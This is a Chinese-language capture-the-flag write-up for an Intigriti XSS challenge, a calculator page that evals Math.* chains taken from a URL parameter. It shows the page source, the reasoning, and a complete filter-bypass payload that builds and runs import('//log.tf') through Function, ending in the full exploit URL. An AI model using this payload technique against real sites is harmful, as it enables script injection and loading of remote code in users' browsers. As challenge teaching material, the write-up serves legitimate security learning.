题解
页面源码
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<title>Pure Functional Math Calculator</title>
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}
main {
max-width: 750px;
margin: 64px auto;
text-align: center;
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padding: 8px 16px;
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.container {
display: flex;
justify-content: center;
}
.stack-block {
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.stack-block div {
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.wrapper{
width: 400px;
padding: 10px;
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.result{
box-sizing: border-box;
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.row{
display: flex;
justify-content: space-between;
}
.row > button{
width: 94px;
height: 36px;
display: inline-block;
margin-top: 6px;
border-width: 1px;
border-style: solid;
border-color: #CCCCCC;
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}
.row > button:hover{
cursor: pointer;
border-color: #AAAAAA;
}
.btn-fn{
background: #FFFFFF;
}
.btn-equal{
background: #ff8d00;
border-style: none;
}
.btn-equal:hover{
background: #ea8200;
}
</style>
</head>
<body>
<main>
<h1>Pure Functional Math Calculator</h1>
<div class="container">
<div class="wrapper">
<div class="result"></div>
<div class="pad">
<div class="row">
<button class="btn-ac">AC</button>
</div>
<div class="row">
<button class="btn-fn">sin</button>
<button class="btn-fn">cos</button>
<button class="btn-fn">tan</button>
<button class="btn-fn">floor</button>
</div>
<div class="row">
<button class="btn-fn">acos</button>
<button class="btn-fn">asin</button>
<button class="btn-fn">atan</button>
<button class="btn-fn">ceil</button>
</div>
<div class="row">
<button class="btn-fn">cosh</button>
<button class="btn-fn">sinh</button>
<button class="btn-fn">tanh</button>
<button class="btn-fn">round</button>
</div>
<div class="row">
<button class="btn-share">share</button>
<button class="btn-equal">=</button>
</div>
</div>
</div>
<div class="stack-block">
</div>
</div>
</main>
<script>
(function(){
name = 'Pure Functional Math Calculator'
let next
Math.random = function () {
if (!this.seeds) {
this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
next = this.seeds[new Date().getTime() % this.seeds.length]
}
next = next * 1103515245 + 12345
return (next / 65536) % 32767
}
console.assert(Math.random() > 0)
const result = document.querySelector('.result')
const stack = document.querySelector('.stack-block')
let operators = []
document.querySelector('.pad').addEventListener('click', handleClick)
let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {
const ops = qs.get('q').split(',')
if (ops.length >= 100) {
alert('Max length of array is 99, got:' + ops.length)
return init()
}
for(let op of ops) {
if (!op.startsWith('Math.')) {
alert(`Operator should start with Math.: ${op}`)
return init()
}
if (!/^[a-zA-Z0-9.]+$/.test(op)) {
alert(`Invalid operator: ${op}`)
return init()
}
}
for(let op of ops) {
addOperator(op)
}
calculateResult()
} else {
init()
}
function init() {
addOperator('Math.random')
}
function addOperator(name) {
result.innerText = `${name}(${result.innerText})`
operators.push(name)
let div = document.createElement('div')
div.textContent = `${operators.length}. ${name}`
stack.prepend(div)
}
function calculateResult() {
result.innerText = eval(result.innerText)
}
function handleClick(e) {
let className = e.target.className
let text = e.target.innerText
if (className === 'btn-fn') {
addOperator(`Math.${text}`)
} else if (className === 'btn-ac') {
result.innerText = 'Math.random()';
stack.innerHTML = '<div>1. Math.random</div>'
operators = ['Math.random']
} else if (className === 'btn-share'){
alert('Please copy the URL!')
location.search = '?q=' + operators.join(',')
} else if (className === 'btn-equal') {
calculateResult()
}
}
})()
</script>
</body>
</html>
解题思路
页面逻辑比较简单,主要思路是跟进到 URL参数 q 的限制逻辑
let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {...}
限制共分三个:
经 , 拆分出来的数组长度最长为 100
所有拆分出来的字符串(即数组长度要以Math.作为开头
所有拆分出来的字符串只能以 a-zA-Z0-9. 字符组合而成
这里我们就可以得出q的传入格式:?q=Math.xxx,Math.xxx,Math.xxx
当满足了这三个限制,最先进入 addOperator 方法:
function addOperator(name) {
result.innerText = `${name}(${result.innerText})`
operators.push(name)
let div = document.createElement('div')
div.textContent = `${operators.length}. ${name}`
stack.prepend(div)
}
这里逻辑为将我们传入的Math.xxx以嵌套的方式 塞到result.innerText中
关于 result 的定义,在之前的代码中已经明确
const result = document.querySelector('.result')
即document.querySelector('.result').innerText
中,也就是说:我们传入的q
参数,最终将以下列方式进行输出
Math.xxx(Math.xxx(Math.xxx()))
但此方法只进行的传值,并未有下一步操作,故接着跟进.
接着进入 calculateResult
方法:
function calculateResult() {
result.innerText = eval(result.innerText)
}
这里就比较简单粗暴了,明晃晃的eval仿佛在说:在这在这!(笑
这里用到了 result.innerText,即上一个方法中传递的 Math.xxx(Math.xxx(Math.xxx()))。到这里,执行形式已经明了:
所有q传入的Math.xxx,Math.xxx,Math.xxx都将以 这里我们就要开始解决第一个问题:如何执行我们想要的JS代码?
eval(`Math.xxx(Math.xxx(Math.xxx()))`)的格式进行执行。
如果直接使用某种方法,使 Math.xxx(Math.xxx(Math.xxx()))返回字符串是肯定执行不了的。只会返回相关的 String,效果约等同于 x=1;eval("x") 得到 1 一开始我想到的是直接使用构造方法constructor.constructor("xxxx"),但只能创建出一个匿名方法,并没有可以调用的地方,但随后我注意到了页面中重写的方法Math.random
Math.random = function () {
if (!this.seeds) {
this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
next = this.seeds[new Date().getTime() % this.seeds.length]
}
next = next * 1103515245 + 12345
return (next / 65536) % 32767
}
这里可以看到使用this.seeds
(this即为Math对象) 为Math
中创建一个Arrayseeds
Array
我就想到了可以通过Array.prototype.map()
等一系列的方法,以seeds
中的元素为参数,对其执行map
中所包裹的方法
例如当seeds
为[1,2,...]
时,调用seeds.map(eval)
,就等同于执行了:
eval(1)
eval(2)
eval(...)
这时我们就找到了最关键的执行环境Math.seeds.map(Math.constructor.constructor())
这里关于Math.constructor.constructor
就涉及到了构造方法
相关知识Math
的constructor
是Object
Object
的constructor
是Function
所以 Math.constructor.constructor()
等同于 Function()
等同于function anonymous(){}
再组合上 Array.map
可以实现可控内容执行
搞定了执行环境,接下来就是熟悉的拼接字符串的环节,如何在只用一个括号的方式进行拼接字符串呢?我最开始想到的是 String.prototype.concat()
方法,即通过
/*1*/String.prototype.concat(String.prototype.toString(/*2*/String.prototype.concat(...)))
想象是美好的,例如我通过Math.exp.name
得到了一个String
值exp
,以此作为最外层的参数。当我添加一层过后,第二次进行concat
时指向的String
不是最外层的concat
后的值,因为concat
只是拼接返回,而不是累加。同时Math.exp.name
的值也是只读的,不可以修改。
虽然上述思路没有走通,但为我带来了一个新的想法:如果我有一个可控变量,并且我可以通过某种方式累加修改它,那么就有鸡喙!
一开始我是想通过某个不为人知的方法来对属性进行修改,但翻了两天MDN Web Docs
除了发现Function.prototype.bind
可以将某方法需要的多个参数分多次传递外,并无其他有价值的发现。走过这么多弯路后,回顾页面时我发现我要的可控变量Math.seeds
不就明晃晃的在这里放着吗?!
再次回顾下Math.seeds
的内容,它为Array
数组,内部包含了五个Float
,为:
[0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
如果直接将它清空,并塞入假设能够得到的任意字符串,最后将它toString
放到匿名方法中。不就可以直接搞定吗?在花了一点点时间后,得到最初的思路:
清空数组Math.seeds
Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop()))))
利用Array.prototype.push
,添加数字 4 与 1,因为push过后会默认返回数组的长度,且括号内步先于括号外执行,故得到Math.seeds
为['4', 1]
Math.seeds.push(Math.seeds.push(Math.cbrt.name.length.toLocaleString()))
利用Array.prototype.join(/*空*/)
将Math.seeds
转换为41
,之后将String.fromCharCode(41)
得到的结果)
,push
到Math.seeds
中Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.seeds.join(Math.seeds.constructor.constructor.prototype.name.toLocaleString())))
最后擦屁股,把 '4'
与1
清除掉Math.seeds.shift(Math.seeds.shift())
这样,我们就成功得到了一个内容为[')']
的Array
。按照这样下去,如法炮制将import(xxxx)
或eval('`'+location)
塞入,但很快我又撞到了一堵墙——长度。
还记得吗?页面源码中有这么一句ops.length >= 100
,也就是说:我们传递进来的值总个数不能大于100。那么在以上得到了一个括号的情况下,我们共使用了多少个呢?答案是:5+3+4+2=14
14个!就算抛开清空Math.seeds
的五连pop
,也要9个参数才能换取1个字符。另外执行环境的map
与匿名方法
也得要2个,我们最多只能塞进来(100-5-2)/9≈10
共计10个字符!这还是我们在第2步投机取巧后才完成9个字符。很显然,在有长度限制的情况下,此路不通。
没办法,我又只能开始对着黑漆漆的窗口发呆。
看着sin
、cos
、tan
按钮,我突然意识到刚刚的做法有多么愚蠢:我为什么要放着现成的可以通过Math
对象可以直接得到数字的方法不用,而是傻乎乎又费劲巴力的拼接字符串的长度再换成数字?
中间省略掉对着Math
对象的方法各种咔咔的传参(就是人肉fuzz),只为得到某个指定的数字例如41,最终得到:
Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toString()))
再结合
Math.seeds.push(Math.exp.name.constructor.fromCharCode())
共计5位就得到了一个字符!也就是说,使用尽可能短的payload
例如长度为17的import(/\xss.hk/)
17*5+5+2=92共计92位就可以实现!!!!也就是说这条路行得通!把payload
转换为10进制
[105,109,112,111,114,116,40,47,92,120,115,115,46,104,107,47,41]
激动的心,颤抖的手,键盘库库一顿敲。中间死活得不到一百左右的准确数值时我发现:我为什么要傻乎乎的fromCharCode
一个字母?我直接从别的方法name
中截取不就成了?!在花了亿点点时间后,我得到了如下:
// import('//log.tf') 方法
// 共计 82 个
// 最后push需要反过来push
// 执行
Math.seeds.map(Math.constructor.constructor())
// 格式化成字符串
Math.seeds.join(Math.random.name.toString())
// 清空列表
Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop()))))
// 字符 im
Math.seeds.push(Math.exp.name.constructor.prototype.trim.name.slice(Math.constructor.is.name.length.toLocaleString()))
// 字符 p
Math.seeds.push(Math.seeds.constructor.prototype.pop.name.slice(Math.constructor.is.name.length.toLocaleString()))
// 字符 or
Math.seeds.push(Math.floor.name.slice(Math.exp.name.length.toLocaleString()))
// 字符 t
Math.seeds.push(Math.hypot.name.slice(Math.acos.name.length.toLocaleString()))
// 字符 ( 40
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log2(Math.seeds.constructor.isPrototypeOf.name.length.toString()))))
// 字符 ' 39
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.log(Math.expm1(Math.log(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))))))
// 字符 / 47
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))))))
// 字符 / 47
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))))))
// 字符 log
Math.seeds.push(Math.log.name.toLocaleString())
// 字符 . 46
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))))
// 字符 t
Math.seeds.push(Math.hypot.name.slice(Math.acos.name.length.toLocaleString()))
// 字符 f
Math.seeds.push(Math.seeds.constructor.of.name.slice(Math.constructor.length.toLocaleString()))
// 字符 ' 39
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.log(Math.expm1(Math.log(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))))))
// 字符 )
Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toString()))))
再花一点点时间组装一下:
// 82位
Math.seeds.map(Math.constructor.constructor(Math.seeds.join(Math.random.name.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.log(Math.expm1(Math.log(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.seeds.constructor.of.name.slice(Math.constructor.length.toLocaleString(Math.seeds.push(Math.hypot.name.slice(Math.acos.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.log.name.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log1p(Math.exp(Math.log1p(Math.exp(Math.log2(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.expm1(Math.log(Math.expm1(Math.log(Math.expm1(Math.sqrt(Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.fromCharCode(Math.exp(Math.log2(Math.seeds.constructor.isPrototypeOf.name.length.toLocaleString(Math.seeds.push(Math.hypot.name.slice(Math.acos.name.length.toLocaleString(Math.seeds.push(Math.floor.name.slice(Math.exp.name.length.toLocaleString(Math.seeds.push(Math.seeds.constructor.prototype.pop.name.slice(Math.constructor.is.name.length.toLocaleString(Math.seeds.push(Math.exp.name.constructor.prototype.trim.name.slice(Math.constructor.is.name.length.toLocaleString(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop(Math.seeds.pop())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
拼接成URL:
https://challenge-0823.intigriti.io/challenge/index.html?q=Math.seeds.pop,Math.seeds.pop,Math.seeds.pop,Math.seeds.pop,Math.seeds.pop,Math.constructor.is.name.length.toLocaleString,Math.exp.name.constructor.prototype.trim.name.slice,Math.seeds.push,Math.constructor.is.name.length.toLocaleString,Math.seeds.constructor.prototype.pop.name.slice,Math.seeds.push,Math.exp.name.length.toLocaleString,Math.floor.name.slice,Math.seeds.push,Math.acos.name.length.toLocaleString,Math.hypot.name.slice,Math.seeds.push,Math.seeds.constructor.isPrototypeOf.name.length.toLocaleString,Math.log2,Math.exp,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.sqrt,Math.expm1,Math.log,Math.expm1,Math.log,Math.expm1,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.log2,Math.exp,Math.log1p,Math.exp,Math.log1p,Math.exp,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.log2,Math.exp,Math.log1p,Math.exp,Math.log1p,Math.exp,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.log.name.toLocaleString,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.log2,Math.exp,Math.log1p,Math.exp,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.acos.name.length.toLocaleString,Math.hypot.name.slice,Math.seeds.push,Math.constructor.length.toLocaleString,Math.seeds.constructor.of.name.slice,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.sqrt,Math.expm1,Math.log,Math.expm1,Math.log,Math.expm1,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.constructor.length.toLocaleString.name.length.toLocaleString,Math.sqrt,Math.expm1,Math.exp.name.constructor.fromCharCode,Math.seeds.push,Math.random.name.toLocaleString,Math.seeds.join,Math.constructor.constructor,Math.seeds.map
最后的最后~ 再次感谢intigriti
与huli(@aszx87410)带来的题目!
另外每个月23号左右(23年为23),intigriti
会联合各种大佬,再次推出新的XSS题目。如果有兴趣也可以关注一下它们再推特的推文。